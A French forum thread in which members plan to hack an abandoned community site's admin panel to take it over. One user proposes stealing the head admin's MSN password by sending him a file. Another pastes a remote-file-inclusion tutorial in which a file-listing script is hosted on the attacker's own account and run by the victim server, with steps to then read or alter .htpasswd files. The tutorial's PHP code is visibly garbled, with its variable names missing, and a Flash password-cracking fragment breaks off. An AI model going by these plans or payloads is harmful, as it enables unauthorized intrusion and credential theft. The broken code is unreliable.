pirater le site pour le refaire ?

par Ulysse.TR Mar 5 Aoû - 11:16

voila comme il y as plus d'admin ni de modos ( c'est pour ca que je propose le piratage on risque rien ^^ )

on pourrais pirater le panneau d'admin et refaire le site on eli des graphistes on remet des admins on refait tt quoi ! comme ca sa serais mieu nan ?

par kent1 Mar 5 Aoû - 19:50

pirater ok mais sa veut dire que tu est un hakeur nn?????

par Ulysse.TR Mer 6 Aoû - 11:33

je sais pas pirater mais ca s'aprend ! enfin je crois

sinon autre chose

si qqn connais l'MSN de l'admin supreme je peut choper son mot de passe et si c'est le meme que sur ce site ca serais plus facile

mais il faudrais qu'il accepte un fichier venant de moi !

par kent1 Mer 6 Aoû - 11:55

je conai l'adresse de l'admin supreme comme tu dit et ba c celle de remal et si tu ve avoir son adress msn tu va sur son profil

par sailormoon Mer 6 Aoû - 12:06

si je peut vous aider pour quoi que ce soit (enfin si nje sais le faire bvien entendu) je le ferais ^^

par Ulysse.TR Mer 6 Aoû - 12:36

merci

par sailormoon Mer 6 Aoû - 23:40

je vous aiderais surtoutnpour les couleurs

par sailormoon Mer 6 Aoû - 23:43

j'ai treouver sa et jai rien kompris bnien ke vous ^^

Si tu pouvais utiliser du PHP librement sur un site, tu pourrais le hacker et en faire ce que tu veux.
Et pour certains sites, c'est possible !
Si tu vois que l'adresse d'une page d'un site est du genre http://www.site.com/page.php?page=news.php par exemple (ou http://www.site.com/?url=news.php ...etc), ça signifie que la page index inclu la page news.php pour l'afficher. Certain webmasters ont oublié de protégé cet include, ce qui fait que tu peux inclure n'importe quelle page !

Pour en être sûr, essai ça : http://www.site.com/page.php?page=http://www.google.com (ne pas oublier le http://)
Si la page d'accueil de google s'affiche dans le site, c'est que tu as réussi !

Maintenant, tu peux modifier les fichiers, en créer, récupérer des mots de passe du site en question !

Pour afficher tous les noms de fichiers du site (très utile pour savoir où se trouve l'admin...etc), créé un fichier avec le code php sur ton compte (voir tutoriaux php) :

function scann(){
=opendir();
while(=readdir()){
if(is_dir("/") && !="." && !=".."){
scann("/");
}else{
echo "/
";
}
}
}
scann(".");

une fois ce script sur ton compte (http://www.toncompte.com/hack.txt), tu peux le faire exécuter par le serveur victime comme ceci :
http://www.site.com/page.php?page=http://www.toncompte.com/hack.txt
/!\ Ton fichier ne doit pas être en *.php, comme le disent la plupart des sites, sinon il sera exécuté sur ton serveur avant d'être affiché par le serveur victime, ce qui reviendrait à pirater ton site !
Et voilà ! Les noms de tous les fichiers du site www.site.com son affichés sur ton écran !

Maintenant que tu connais toutes les pages, les .htaccess et les .htpasswd, tu peux les voir, les effacer et les modifier de la même façon (voir les tutoriaux PHP).

Pour réparer la faille
Pour réparer la faille, il suffit de vérifier le nom de la page avant de l'include
Exemple de protection :

=Array("news.php","forum.php","livredor.php"); // Noms des pages autorisées à être incluses
// Si le nom de la page demandée fait partie de la liste des pages autorisées, on l'inclu :
if(in_array(,)) include ;

Alors si tu repères des failles de ce type, sois sympa et préviens le webmaster

[tr][td]

Cracker une flash (obtenir le code)

pirater le site pour le refaire ? Titre3

[/td][/tr]
Il peux être très utile d'obtenir la source d'une flash pour récupérer un script ou même un mot de passe.

Imaginons que sr un site, une flash te demande un mot de passe pour entrer.
Voici comment obtenir le mot de passe :
Clique droit à côté de la flash, clique sur Afficher la source.
Cherche un code qui ressemble à ça dans la source :

sailormoon: Villageois riche; Nombre de messages : 594
Age : 27
Personnage et Village : Iza-Doremy
Code-ami : =* motus
Date d'inscription : 23/07/2007

qu'en pensez vous ?